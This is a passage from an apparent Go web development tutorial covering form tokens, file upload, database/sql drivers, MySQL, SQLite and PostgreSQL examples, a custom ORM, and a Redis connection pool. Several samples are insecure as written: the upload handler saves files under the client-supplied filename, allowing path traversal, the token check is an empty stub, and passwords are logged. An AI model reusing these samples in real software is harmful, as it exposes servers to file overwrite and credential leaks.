I don’t know if you’ve ever seen some blogs or BBS’ that have more than one post that are exactly the same, but I can tell you that it’s because users submitted duplicate post forms. There are many things that can cause duplicate submissions; sometimes users just double click the submit button, or they want to modify some content after posting and press the back button. In some cases it is by the intentional actions of malicious users. It’s easy to see how duplicate submissions can lead to many problems. Thus, we have to use effective means to prevent it.

The solution is to add a hidden field with a unique token to your form, and to always check this token before processing the incoming data. Also, if you are using Ajax to submit a form, use JavaScript to disable the submit button once the form has been submitted.

Let’s improve the example from section 4.2:

    <input type="checkbox" name="interest" value="football">Football
    <input type="checkbox" name="interest" value="basketball">Basketball
    <input type="checkbox" name="interest" value="tennis">Tennis
    Username:<input type="text" name="username">
    Password:<input type="password" name="password">
    <input type="hidden" name="token" value="{{.}}">
    <input type="submit" value="Login">


We use an MD5 hash (time stamp) to generate the token, and added it to both a hidden field on the client side form and a session cookie on the server side (Chapter 6). We can then use this token to check whether or not this form was submitted.

func login(w http.ResponseWriter, r *http.Request) {
    fmt.Println("method:", r.Method) // get request method
    if r.Method == "GET" {
        crutime := time.Now().Unix()
        h := md5.New()
        io.WriteString(h, strconv.FormatInt(crutime, 10))
        token := fmt.Sprintf("%x", h.Sum(nil))

        t, _ := template.ParseFiles("login.gtpl")
        t.Execute(w, token)
    } else {
        // log in request
        r.ParseForm()
        token := r.Form.Get("token")
        if token != "" {
            // check token validity
        } else {
            // give error if no token
        }
        fmt.Println("username length:", len(r.Form["username"][0]))
        fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print in server side
        fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
        template.HTMLEscape(w, []byte(r.Form.Get("username"))) // respond to client
    }
}
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Figure 4.4 The content in browser after adding a token

You can refresh this page and you will see a different token every time. This ensures that every form is unique.

For now, you can prevent many duplicate submission attacks by adding tokens to your forms, but it cannot prevent all deceptive attacks of this type. There is much more work that needs to be done.
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	Directory

	Previous section: Cross site scripting

	Next section: File upload







124 4.5 File upload

Suppose you have a website like Instagram and you want users to upload their beautiful photos. How would you implement that functionality?

You have to add property enctype to the form that you want to use for uploading photos. There are three possible values for this property:

application/x-www-form-urlencoded   Transcode all characters before uploading (default).
multipart/form-data   No transcoding. You must use this value when your form has file upload controls.
text/plain    Convert spaces to "+", but no transcoding for special characters.

Therefore, the HTML content of a file upload form should look like this:

<html>
<head>
    <title>Upload file</title>
</head>
<body>
<form enctype="multipart/form-data" action="http://127.0.0.1:9090/upload" method="post">
    <input type="file" name="uploadfile" />
    <input type="hidden" name="token" value="{{.}}"/>
    <input type="submit" value="upload" />
</form>
</body>
</html>


We need to add a function on the server side to handle this form.

http.HandleFunc("/upload", upload)

// upload logic
func upload(w http.ResponseWriter, r *http.Request) {
    fmt.Println("method:", r.Method)
    if r.Method == "GET" {
        crutime := time.Now().Unix()
        h := md5.New()
        io.WriteString(h, strconv.FormatInt(crutime, 10))
        token := fmt.Sprintf("%x", h.Sum(nil))

        t, _ := template.ParseFiles("upload.gtpl")
        t.Execute(w, token)
    } else {
        r.ParseMultipartForm(32 << 20)
        file, handler, err := r.FormFile("uploadfile")
        if err != nil {
            fmt.Println(err)
            return
        }
        defer file.Close()
        fmt.Fprintf(w, "%v", handler.Header)
        f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
        if err != nil {
            fmt.Println(err)
            return
        }
        defer f.Close()
        io.Copy(f, file)
    }
}


As you can see, we need to call r.ParseMultipartForm for uploading files. The function ParseMultipartForm takes the maxMemory argument. After you call ParseMultipartForm, the file will be saved in the server memory with maxMemory size. If the file size is larger than maxMemory, the rest of the data will be saved in a system temporary file. You can use r.FormFile to get the file handle and use io.Copy to save to your file system.

You don’t need to call r.ParseForm when you access other non-file fields in the form because Go will call it when it’s necessary. Also, calling ParseMultipartForm once is enough -multiple calls make no difference.

We use three steps for uploading files as follows:


	Add enctype="multipart/form-data" to your form.

	Call r.ParseMultipartForm on the server side to save the file either to memory or to a temporary file.

	Call r.FormFile to get the file handle and save to the file system.



The file handler is the multipart.FileHeader. It uses the following struct:

type FileHeader struct {
    Filename string
    Header   textproto.MIMEHeader
    // contains filtered or unexported fields
}
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Figure 4.5 Print information on server after receiving file.





124.1 Clients upload files

I showed an example of using a form to a upload a file. We can impersonate a client form to upload files in Go as well.

package main

import (
    "bytes"
    "fmt"
    "io"
    "io/ioutil"
    "mime/multipart"
    "net/http"
    "os"
)

func postFile(filename string, targetUrl string) error {
    bodyBuf := &bytes.Buffer{}
    bodyWriter := multipart.NewWriter(bodyBuf)

    // this step is very important
    fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
    if err != nil {
        fmt.Println("error writing to buffer")
        return err
    }

    // open file handle
    fh, err := os.Open(filename)
    if err != nil {
        fmt.Println("error opening file")
        return err
    }
    defer fh.Close()

    //iocopy
    _, err = io.Copy(fileWriter, fh)
    if err != nil {
        return err
    }

    contentType := bodyWriter.FormDataContentType()
    bodyWriter.Close()

    resp, err := http.Post(targetUrl, contentType, bodyBuf)
    if err != nil {
        return err
    }
    defer resp.Body.Close()
    resp_body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return err
    }
    fmt.Println(resp.Status)
    fmt.Println(string(resp_body))
    return nil
}

// sample usage
func main() {
    target_url := "http://localhost:9090/upload"
    filename := "./astaxie.pdf"
    postFile(filename, target_url)
}


The above example shows you how to use a client to upload files. It uses multipart.Write to write files into cache and sends them to the server through the POST method.

If you have other fields that need to write into data, like username, call multipart.WriteField as needed.
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125 4.6 Summary

In this chapter, we mainly learned how to process form data in Go through several examples like logging in users and uploading files. We also emphasized that validating user data is extremely important for website security, and we used one section to talk about how to filter data with regular expressions.

I hope that you now know more about the communication process between client and server.





125.1 Links


	Directory

	Previous section: File upload

	Next chapter: Database







126 5 Database

For web developers, the database is at the core of web development. You can save almost anything into a database and query or update data inside it, like user information, products or news articles.

Go doesn’t provide any database drivers, but it does have a driver interface defined in the database/sql package. People can develop database drivers based on that interface. In section 5.1, we are going to talk about database driver interface design in Go. In sections 5.2 to 5.4, I will introduce some SQL database drivers to you. In section 5.5, I will present the ORM　that I have developed which is based on the database/sql interface standard. It is compatible with most drivers that have implemented the database/sql interface, and it makes it easy to access databases idiomatically in Go.

NoSQL has been a hot topic in recent years. More websites are deciding to use NoSQL databases as their main database instead of just for the purpose of caching. I will introduce you to two NoSQL databases, which are MongoDB and Redis, in section 5.6.
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	Directory

	Previous Chapter: Chapter 4 Summary

	Next section: database/sql interface







127 5.1 database/sql interface

Go doesn’t provide any official database drivers, unlike other languages like PHP which do. However, it does have some database driver interface standards for developers to develop database drivers with. The advantage is that if your code is developed according to these interface standards, you will not need to change any code if your database changes. Let’s see what these database interface standards are.





127.1 sql.Register

This function is in the database/sql package for registering database drivers when you use third-party database drivers. All of these should call the Register(name string, driver driver.Driver) function in init() in order to register themselves.

Let’s take a look at the corresponding mymysql and sqlite3 driver code:

    //https://github.com/mattn/go-sqlite3 driver
    func init() {
        sql.Register("sqlite3", &SQLiteDriver{})
    }

    //https://github.com/mikespook/mymysql driver
    // Driver automatically registered in database/sql
    var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
    func init() {
        Register("SET NAMES utf8")
        sql.Register("mymysql", &d)
    }


We see that all third-party database drivers implement this function to register themselves, and Go uses a map to save user drivers inside of database/sql.

    var drivers = make(map[string]driver.Driver)

    drivers[name] = driver


Therefore, this registration function can register as many drivers as you may require, each with different names.

We always see the following code when we use third-party drivers:

    import (
        "database/sql"
        _ "github.com/mattn/go-sqlite3"
    )


Here, the underscore (also known as a ‘blank’) _ can be quite confusing for many beginners, but this is a great feature in Go. We already know that this underscore identifier is used for discarding values from function returns, and also that you must use all packages that you’ve imported in your code in Go. So when the blank is used with import, it means that you need to execute the init() function of that package without directly using it, which is a perfect fit for the use-case of registering database drivers.





127.2 driver.Driver

Driver is an interface containing an Open(name string) method that returns a Conn interface.

    type Driver interface {
        Open(name string) (Conn, error)
    }


This is a one-time Conn, which means it can only be used once per goroutine. The following code will cause errors to occur:

    ...
    go goroutineA (Conn)  // query
    go goroutineB (Conn)  // insert
    ...


Because Go has no idea which goroutine does which operation, the query operation may get the result of the insert operation, and vice-versa.

All third-party drivers should have this function to parse the name of Conn and return the correct results.





127.3 driver.Conn

This is a database connection interface with some methods, and as i’ve said above, the same Conn can only be used once per goroutine.

    type Conn interface {
        Prepare(query string) (Stmt, error)
        Close() error
        Begin() (Tx, error)
    }



	Prepare returns the prepare status of corresponding SQL commands for querying and deleting, etc.

	Close closes the current connection and cleans resources. Most third-party drivers implement some kind of connection pool, so you don’t need to cache connections which can cause unexpected errors.

	Begin returns a Tx that represents a transaction handle. You can use it for querying, updating, rolling back transactions, etc.







127.4 driver.Stmt

This is a ready status that corresponds with Conn, so it can only be used once per goroutine (as is the case with Conn).

    type Stmt interface {
        Close() error
        NumInput() int
        Exec(args []Value) (Result, error)
        Query(args []Value) (Rows, error)
    }



	Close closes the current connection but still returns row data if it is executing a query operation.

	NumInput returns the number of obligate arguments. Database drivers should check their caller’s arguments when the result is greater than 0, and it returns -1 when database drivers don’t know any obligate argument.

	Exec executes the update/insert SQL commands prepared in Prepare, returns Result.

	Query executes the select SQL command prepared in Prepare, returns row data.







127.5 driver.Tx

Generally, transaction handles only have submit or rollback methods, and database drivers only need to implement these two methods.

    type Tx interface {
        Commit() error
        Rollback() error
    }






127.6 driver.Execer

This is an optional interface.

    type Execer interface {
        Exec(query string, args []Value) (Result, error)
    }


If the driver doesn’t implement this interface, when you call DB.Exec, it will automatically call Prepare, then return Stmt. After that it executes the Exec method of Stmt, then closes Stmt.





127.7 driver.Result

This is the interface for results of update/insert operations.

    type Result interface {
        LastInsertId() (int64, error)
        RowsAffected() (int64, error)
    }



	LastInsertId returns auto-increment Id number after a database insert operation.

	RowsAffected returns rows that were affected by query operations.







127.8 driver.Rows

This is the interface for the result of a query operation.

    type Rows interface {
        Columns() []string
        Close() error
        Next(dest []Value) error
    }



	Columns returns field information of database tables. The slice has a one-to-one correspondence with SQL query fields only, and does not return all fields of that database table.

	Close closes Rows iterator.

	Next returns next data and assigns to dest, converting all strings into byte arrays, and gets io.EOF error if no more data is available.







127.9 driver.RowsAffected

This is an alias of int64, but it implements the Result interface.

    type RowsAffected int64

    func (RowsAffected) LastInsertId() (int64, error)

    func (v RowsAffected) RowsAffected() (int64, error)






127.10 driver.Value

This is an empty interface that can contain any kind of data.

    type Value interface{}


The Value must be something that drivers can operate on or nil, so it should be one of the following types:

    int64
    float64
    bool
    []byte
    string   [*] Except Rows.Next which cannot return string
    time.Time






127.11 driver.ValueConverter

This defines an interface for converting normal values to driver.Value.

    type ValueConverter interface {
        ConvertValue(v interface{}) (Value, error)
    }


This interface is commonly used in database drivers and has many useful features:


	Converts driver.Value to a corresponding database field type, for example converts int64 to uint16.

	Converts database query results to driver.Value.

	Converts driver.Value to a user defined value in the scan function.







127.12 driver.Valuer

This defines an interface for returning driver.Value.

    type Valuer interface {
        Value() (Value, error)
    }


Many types implement this interface for conversion between driver.Value and itself.

At this point, you should know a bit about developing database drivers in Go. Once you can implement interfaces for operations like add, delete, update, etc., there are only a few problems left related to communicating with specific databases.





127.13 database/sql

database/sql defines even more high-level methods on top of database/sql/driver for more convenient database operations, and it suggests that you implement a connection pool.

    type DB struct {
        driver   driver.Driver
        dsn      string
        mu       sync.Mutex // protects freeConn and closed
        freeConn []driver.Conn
        closed   bool
    }


As you can see, the Open function returns a DB that has a freeConn, and this is a simple connection pool. Its implementation is very simple and ugly. It uses defer db.putConn(ci, err) in the Db.prepare function to put a connection into the connection pool. Everytime you call the Conn function, it checks the length of freeConn. If it’s greater than 0, that means there is a reusable connection and it directly returns to you. Otherwise it creates a new connection and returns.





127.14 Links


	Directory

	Previous section: Database

	Next section: MySQL







128 5.2 MySQL

The LAMP stack has been very popular on the internet in recent years, and the M in LAMP stand for MySQL. MySQL is famous because it’s open source and easy to use. As such, it has become the de-facto database in the back-ends of many websites.





128.1 MySQL drivers

There are a couple of drivers that support MySQL in Go. Some of them implement the database/sql interface, and others use their own interface standards.


	https://github.com/go-sql-driver/mysql supports database/sql, written in pure Go.

	https://github.com/ziutek/mymysql supports database/sql and user defined interfaces, written in pure Go.



I’ll use the first driver in the following examples (I use this one in my personal projects too), and I also recommend that you use it for the following reasons:


	It’s a new database driver and supports more features.

	It fully supports database/sql interface standards.

	Supports keep-alive, long connections with thread-safety.







128.2 Samples

In the following sections, I’ll use the same database table structure for different databases, then create SQL as follows:

    CREATE TABLE `userinfo` (
        `uid` INT(10) NOT NULL AUTO_INCREMENT,
        `username` VARCHAR(64) NULL DEFAULT NULL,
        `departname` VARCHAR(64) NULL DEFAULT NULL,
        `created` DATE NULL DEFAULT NULL,
        PRIMARY KEY (`uid`)
    );


The following example shows how to operate on a database based on the database/sql interface standards.

    package main
    
    import (
        _ "github.com/go-sql-driver/mysql"
        "database/sql"
        "fmt"
    )
    
    func main() {
        db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8")
        checkErr(err)
    
        // insert
        stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?")
        checkErr(err)
    
        res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09")
        checkErr(err)
    
        id, err := res.LastInsertId()
        checkErr(err)
    
        fmt.Println(id)
        // update
        stmt, err = db.Prepare("update userinfo set username=? where uid=?")
        checkErr(err)
    
        res, err = stmt.Exec("astaxieupdate", id)
        checkErr(err)
    
        affect, err := res.RowsAffected()
        checkErr(err)
    
        fmt.Println(affect)
    
        // query
        rows, err := db.Query("SELECT * FROM userinfo")
        checkErr(err)
    
        for rows.Next() {
            var uid int
            var username string
            var department string
            var created string
            err = rows.Scan(&uid, &username, &department, &created)
            checkErr(err)
            fmt.Println(uid)
            fmt.Println(username)
            fmt.Println(department)
            fmt.Println(created)
        }
        
        rows.Close()
    
        // delete
        stmt, err = db.Prepare("delete from userinfo where uid=?")
        checkErr(err)
    
        res, err = stmt.Exec(id)
        checkErr(err)
    
        affect, err = res.RowsAffected()
        checkErr(err)
    
        fmt.Println(affect)
    
        db.Close()
    
    }
    
    func checkErr(err error) {
        if err != nil {
            panic(err)
        }
    }


Let me explain a few of the important functions here:


	sql.Open() opens a registered database driver. The Go-MySQL-Driver registered the mysql driver here. The second argument is the DSN (Data Source Name) that defines information pertaining to the database connection. It supports following formats:

user@unix(/path/to/socket)/dbname?charset=utf8
user:password@tcp(localhost:5555)/dbname?charset=utf8
user:password@/dbname
user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname


	db.Prepare() returns a SQL operation that is going to be executed. It also returns the execution status after executing SQL.

	db.Query() executes SQL and returns a Rows result.

	stmt.Exec() executes SQL that has been prepared and stored in Stmt.




Note that we use the format =? to pass arguments. This is necessary for preventing SQL injection attacks.
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129 5.3 SQLite

SQLite is an open source, embedded relational database. It has a self-contained, zero-configuration and transaction-supported database engine. Its characteristics are highly portable, easy to use, compact, efficient and reliable. In most of cases, you only need a binary file of SQLite to create, connect and operate a database. If you are looking for an embedded database solution, SQLite is worth considering. You can say SQLite is the open source version of Access.





129.1 SQLite drivers

There are many database drivers for SQLite in Go, but many of them do not support the database/sql interface standards.


	https://github.com/mattn/go-sqlite3 supports database/sql, based on cgo.

	https://github.com/feyeleanor/gosqlite3 doesn’t support database/sql, based on cgo.

	https://github.com/phf/go-sqlite3 doesn’t support database/sql, based on cgo.



The first driver is the only one that supports the database/sql interface standard in its SQLite driver, so I use this in my projects -it will make it easy to migrate my code in the future if I need to.





129.2 Samples

We create the following SQL:

    CREATE TABLE `userinfo` (
        `uid` INTEGER PRIMARY KEY AUTOINCREMENT,
        `username` VARCHAR(64) NULL,
        `departname` VARCHAR(64) NULL,
        `created` DATE NULL
    );


An example:

    package main
    
    import (
        "database/sql"
        "fmt"
        "time"
        _ "github.com/mattn/go-sqlite3"
    )
    
    func main() {
        db, err := sql.Open("sqlite3", "./foo.db")
        checkErr(err)
    
        // insert
        stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)")
        checkErr(err)
    
        res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09")
        checkErr(err)
    
        id, err := res.LastInsertId()
        checkErr(err)
    
        fmt.Println(id)
        // update
        stmt, err = db.Prepare("update userinfo set username=? where uid=?")
        checkErr(err)
    
        res, err = stmt.Exec("astaxieupdate", id)
        checkErr(err)
    
        affect, err := res.RowsAffected()
        checkErr(err)
    
        fmt.Println(affect)
    
        // query
        rows, err := db.Query("SELECT * FROM userinfo")
        checkErr(err)
        var uid int
        var username string
        var department string
        var created time.Time
        
        for rows.Next() {
            err = rows.Scan(&uid, &username, &department, &created)
            checkErr(err)
            fmt.Println(uid)
            fmt.Println(username)
            fmt.Println(department)
            fmt.Println(created)
        }
        
        rows.Close() //good habit to close
        
        // delete
        stmt, err = db.Prepare("delete from userinfo where uid=?")
        checkErr(err)
    
        res, err = stmt.Exec(id)
        checkErr(err)
    
        affect, err = res.RowsAffected()
        checkErr(err)
    
        fmt.Println(affect)
    
        db.Close()
    
    }
    
    func checkErr(err error) {
        if err != nil {
            panic(err)
        }
    }


You may have noticed that the code is almost the same as in the previous section, and that we only changed the name of the registered driver and called sql.Open to connect to SQLite in a different way.

Note that sometimes you can’t use the for statement because you don’t have more than one row, then you can use the if statement

    if rows.Next() {
        err = rows.Scan(&uid, &username, &department, &created)
        checkErr(err)
        fmt.Println(uid)
        fmt.Println(username)
        fmt.Println(department)
        fmt.Println(created)
    }


Also you have to do a rows.Next(), without using that you can’t fetch data in the Scan function.





130 Transactions

The above example shows how you fetch data from the database, but when you want to write a web application then it will not only be necessary to fetch data from the db but it will also be required to write data into it. For that purpose, you should use transactions because for various reasons, such as having multiple go routines which access the database, the database might get locked. This is undesirable in your web application and the use of transactions is effective in ensuring your database activities either pass or fail completely depending on circumstances. It is clear that using transactions can prevent a lot of things from going wrong with the web app.

    trashSQL, err := database.Prepare("update task set is_deleted='Y',last_modified_at=datetime() where id=?")
    if err != nil {
        fmt.Println(err)
    }
    tx, err := database.Begin()
    if err != nil {
        fmt.Println(err)
    }
    _, err = tx.Stmt(trashSQL).Exec(id)
    if err != nil {
        fmt.Println("doing rollback")
        tx.Rollback()
    } else {
        tx.Commit()
    }


As it is clear from the above block of code, you first prepare a statement, after which you execute it, depending on the output of that execution then you either roll it back or commit it.

As a final note on this section, there is a useful SQLite management tool available: http://sqlitebrowser.org





130.1 Links


	Directory

	Previous section: MySQL

	Next section: PostgreSQL







131 5.4 PostgreSQL

PostgreSQL is an object-relational database management system available for many platforms including Linux, FreeBSD, Solaris, Microsoft Windows and Mac OS X. It is released under an MIT-style license, and is thus free and open source software. It’s larger than MySQL because it’s designed for enterprise usage as an alternative to Oracle. Postgresql is a good choice for enterprise type projects.





131.1 PostgreSQL drivers

There are many database drivers available for PostgreSQL. Here are three examples of them:


	https://github.com/lib/pq supports database/sql, written in pure Go.

	https://github.com/jbarham/gopgsqldriver supports database/sql, written in pure Go.

	https://github.com/lxn/go-pgsql supports database/sql, written in pure Go.



I will use the first one in the examples that follow.





131.2 Samples

We create the following SQL:

    CREATE TABLE userinfo
    (
        uid serial NOT NULL,
        username character varying(100) NOT NULL,
        departname character varying(500) NOT NULL,
        Created date,
        CONSTRAINT userinfo_pkey PRIMARY KEY (uid)
    )
    WITH (OIDS=FALSE);


An example:

    package main

    import (
        "database/sql"
        "fmt"
        _ "github.com/lib/pq"
        "time"
    )

    const (
        DB_USER     = "postgres"
        DB_PASSWORD = "postgres"
        DB_NAME     = "test"
    )

    func main() {
        dbinfo := fmt.Sprintf("user=%s password=%s dbname=%s sslmode=disable",
            DB_USER, DB_PASSWORD, DB_NAME)
        db, err := sql.Open("postgres", dbinfo)
        checkErr(err)
        defer db.Close()

        fmt.Println("# Inserting values")
    
        var lastInsertId int
        err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId)
        checkErr(err)
        fmt.Println("last inserted id =", lastInsertId)

        fmt.Println("# Updating")
        stmt, err := db.Prepare("update userinfo set username=$1 where uid=$2")
        checkErr(err)

        res, err := stmt.Exec("astaxieupdate", lastInsertId)
        checkErr(err)

        affect, err := res.RowsAffected()
        checkErr(err)

        fmt.Println(affect, "rows changed")

        fmt.Println("# Querying")
        rows, err := db.Query("SELECT * FROM userinfo")
        checkErr(err)

        for rows.Next() {
            var uid int
            var username string
            var department string
            var created time.Time
            err = rows.Scan(&uid, &username, &department, &created)
            checkErr(err)
            fmt.Println("uid | username | department | created ")
            fmt.Printf("%3v | %8v | %6v | %6v\n", uid, username, department, created)
        }

        fmt.Println("# Deleting")
        stmt, err = db.Prepare("delete from userinfo where uid=$1")
        checkErr(err)

        res, err = stmt.Exec(lastInsertId)
        checkErr(err)

        affect, err = res.RowsAffected()
        checkErr(err)

        fmt.Println(affect, "rows changed")
    }

    func checkErr(err error) {
        if err != nil {
            panic(err)
        }
    }


Note that PostgreSQL uses the $1, $2 format instead of the ? that MySQL uses, and it has a different DSN format in sql.Open.

Another thing is that the PostgreSQL driver does not support sql.Result.LastInsertId().

So instead of this,

    stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3);")
    res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09")
    fmt.Println(res.LastInsertId())


use db.QueryRow() and .Scan() to get the value for the last inserted id.

    err = db.QueryRow("INSERT INTO TABLE_NAME values($1) returning uid;",   VALUE1").Scan(&lastInsertId)
    fmt.Println(lastInsertId)






131.3 Links


	Directory

	Previous section: SQLite

	Next section: Develop ORM based on beedb







132 5.5 Develop ORM based on beedb

( Project beedb is no longer maintained, but the code s still there )

beedb is an ORM ( object-relational mapper ) developed in Go, by me.

It uses idiomatic Go to operate on databases, implementing struct-to-database mapping and acts as a lightweight Go ORM framework. The purpose of developing this ORM is not only to help people learn how to write an ORM, but also to find a good balance between functionality and performance when it comes to data persistence.

beedb is an open source project that supports basic ORM functionality, but doesn’t support association queries.

Because beedb supports database/sql interface standards, any driver that implements this interface can be used with beedb. I’ve tested the following drivers:

Mysql: github/go-mysql-driver/mysql

PostgreSQL: github.com/lib/pq

SQLite: github.com/mattn/go-sqlite3

Mysql: github.com/ziutek/mymysql/godrv

MS ADODB: github.com/mattn/go-adodb

Oracle: github.com/mattn/go-oci8

ODBC: bitbucket.org/miquella/mgodbc





132.1 Installation

You can use go get to install beedb locally.

go get github.com/astaxie/beedb





132.2 Initialization

First, you have to import all the necessary packages:

    import (
        "database/sql"
        "github.com/astaxie/beedb"
        _ "github.com/ziutek/mymysql/godrv"
    )


Then you need to open a database connection and create a beedb object (MySQL in this example):

    db, err := sql.Open("mymysql", "test/xiemengjun/123456")
    if err != nil {
        panic(err)
    }
    orm := beedb.New(db)


beedb.New() actually has two arguments. The first is the database object, and the second is for indicating which database engine you’re using. If you’re using MySQL/SQLite, you can just skip the second argument.

Otherwise, this argument must be supplied. For instance, in the case of SQLServer:

    orm = beedb.New(db, "mssql")


PostgreSQL:

    orm = beedb.New(db, "pg")


beedb supports debugging. Use the following code to enable it:

    beedb.OnDebug=true


Next, we have a struct for the Userinfo database table that we used in previous sections.

    type Userinfo struct {
        Uid     int `PK` // if the primary key is not id, you need to add tag `PK` for your customized primary key.
        Username    string
        Departname  string
        Created     time.Time
    }


Be aware that beedb auto-converts camelcase names to lower snake case. For example, if we have UserInfo as the struct name, beedb will convert it to user_info in the database. The same rule applies to struct field names.





132.3 Insert data

The following example shows you how to use beedb to save a struct, instead of using raw SQL commands. We use the beedb Save method to apply the change.

    var saveone Userinfo
    saveone.Username = "Test Add User"
    saveone.Departname = "Test Add Departname"
    saveone.Created = time.Now()
    orm.Save(&saveone)


You can check saveone.Uid after the record is inserted; its value is a self-incremented ID, which the Save method takes care of for you.

beedb provides another way of inserting data; this is via Go’s map type.

    add := make(map[string]interface{})
    add["username"] = "astaxie"
    add["departname"] = "cloud develop"
    add["created"] = "2012-12-02"
    orm.SetTable("userinfo").Insert(add)


Insert multiple data:

    addslice := make([]map[string]interface{}, 10)
    add:=make(map[string]interface{})
    add2:=make(map[string]interface{})
    add["username"] = "astaxie"
    add["departname"] = "cloud develop"
    add["created"] = "2012-12-02"
    add2["username"] = "astaxie2"
    add2["departname"] = "cloud develop2"
    add2["created"] = "2012-12-02"
    addslice = append(addslice, add, add2)
    orm.SetTable("userinfo").InsertBatch(addslice)


The method shown above is similar to a chained query, which you should be familiar with if you’ve ever used jquery. It returns the original ORM object after calls, then continues doing other jobs.

The method SetTable tells the ORM we want to insert our data into the userinfo table.





132.4 Update data

Let’s continue working with the above example to see how to update data. Now that we have the primary key of saveone(Uid), beedb executes an update operation instead of inserting a new record.

    saveone.Username = "Update Username"
    saveone.Departname = "Update Departname"
    saveone.Created = time.Now()
    orm.Save(&saveone)  // update


Like before, you can also use map for updating data:

    t := make(map[string]interface{})
    t["username"] = "astaxie"
    orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t)


Let me explain some of the methods used above:


	.SetPK() tells the ORM that uid is the primary key records in the userinfo table.

	.Where() sets conditions and supports multiple arguments. If the first argument is an integer, it’s a short form for Where("<primary key>=?", <value>).

	.Update() method accepts a map and updates the database.







132.5 Query data

The beedb query interface is very flexible. Let’s see some examples:

Example 1, query by primary key:

    var user Userinfo
    // Where accepts two arguments, supports integers
    orm.Where("uid=?", 27).Find(&user)


Example 2:

    var user2 Userinfo
    orm.Where(3).Find(&user2) // short form that omits primary key


Example 3, other query conditions:

    var user3 Userinfo
    // Where two arguments are accepted, with support for char type.
    orm.Where("name = ?", "john").Find(&user3)


Example 4, more complex conditions:

    var user4 Userinfo
    // Where three arguments are accepted
    orm.Where("name = ? and age < ?", "john", 88).Find(&user4)


Examples to get multiple records:

Example 1, gets 10 records with id>3 that starts with position 20:

    var allusers []Userinfo
    err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers)


Example 2, omits the second argument of limit, so it starts with 0 and gets 10 records:

    var tenusers []Userinfo
    err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers)


Example 3, gets all records:

    var everyone []Userinfo
    err := orm.OrderBy("uid desc,username asc").FindAll(&everyone)


As you can see, the Limit method is for limiting the number of results.


	.Limit() supports two arguments: the number of results and the starting position. 0 is the default value of the starting position.

	.OrderBy() is for ordering results. The argument is the order condition.



All the examples here are simply mapping records to structs. You can also just put the data into a map as follows:

    a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap()



	.Select() tells beedb how many fields you want to get from the database table. If unspecified, all fields are returned by default.

	.FindMap() returns the []map[string][]byte type, so you need to convert to other types yourself.







132.6 Delete data

beedb provides rich methods to delete data.

Example 1, delete a single record:

    // saveone is the one in above example.
    orm.Delete(&saveone)


Example 2, delete multiple records:

    // alluser is the slice which gets multiple records.
    orm.DeleteAll(&alluser)


Example 3, delete records by SQL:

    orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow()






132.7 Association queries

beedb doesn’t support joining between structs.

However, since some applications need this feature, here is an implementation:

    a, _ := orm.SetTable("userinfo").Join("LEFT", "userdetail", "userinfo.uid=userdetail.uid")
        .Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap()


We see a new method called .Join() that has three arguments:


	The first argument: Type of Join; INNER, LEFT, OUTER, CROSS, etc.

	The second argument: the table you want to join with.

	The third argument: join condition.







132.8 Group By and Having

beedb also has an implementation of group by and having.

    a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap()



	.GroupBy() indicates the field that is for group by.

	.Having() indicates conditions of having.







132.9 Future

I have received a lot of feedback on beedb from many people all around the world, and I’m thinking about reconfiguring the following aspects:


	Implement an interface design similar to database/sql/driver in order to facilitate CRUD operations.

	Implement relational database associations like one to one, one to many and many to many. Here’s a sample:

            type Profile struct {
                Nickname string
                Mobile   string
            }

            type Userinfo struct {
                Uid         int
                PK_Username string
                Departname  string
                Created     time.Time
                Profile     HasOne
            }



	Auto-create tables and indexes.

	Implement a connection pool using goroutines.








132.10 Links


	Directory

	Previous section: PostgreSQL

	Next section: NoSQL database







133 5.6 NoSQL database

A NoSQL database provides a mechanism for the storage and retrieval of data that uses looser consistency models than typical relational databases in order to achieve horizontal scaling and higher availability. Some authors refer to them as “Not only SQL” to emphasize that some NoSQL systems do allow SQL-like query languages to be used.

As the C language of the 21st century, Go has good support for NoSQL databases, including the popular redis, mongoDB, Cassandra and Membase NoSQL databases.





133.1 redis

redis is a key-value storage system like Memcached, that supports the string, list, set, zset(ordered set) and hash value types.

There are some Go database drivers for redis:


	https://github.com/garyburd/redigo

	https://github.com/go-redis/redis

	https://github.com/hoisie/redis

	https://github.com/alphazero/Go-Redis

	https://github.com/simonz05/godis



Let’s see how to use the driver that redigo to operate on a database:


    package main

    import (
        "fmt"
        "github.com/garyburd/redigo/redis"
        "os"
        "os/signal"
        "syscall"
        "time"
    )

    var (
        Pool *redis.Pool
    )

    func init() {
        redisHost := ":6379"
        Pool = newPool(redisHost)
        close()
    }

    func newPool(server string) *redis.Pool {

        return &redis.Pool{

            MaxIdle:     3,
            IdleTimeout: 240 * time.Second,

            Dial: func() (redis.Conn, error) {
                c, err := redis.Dial("tcp", server)
                if err != nil {
                    return nil, err
                }
                return c, err
            },

            TestOnBorrow: func(c redis.Conn, t time.Time) error {
                _, err := c.Do("PING")
                return err
            },
        }
    }

    func close() {
        c := make(chan os.Signal, 1)
        signal.Notify(c, os.Interrupt)
        signal.Notify(c, syscall.SIGTERM)
        signal.Notify(c, syscall.SIGKILL)
        go func() {
            <-c
            Pool.Close()
            os.Exit(0)
        }()
    }

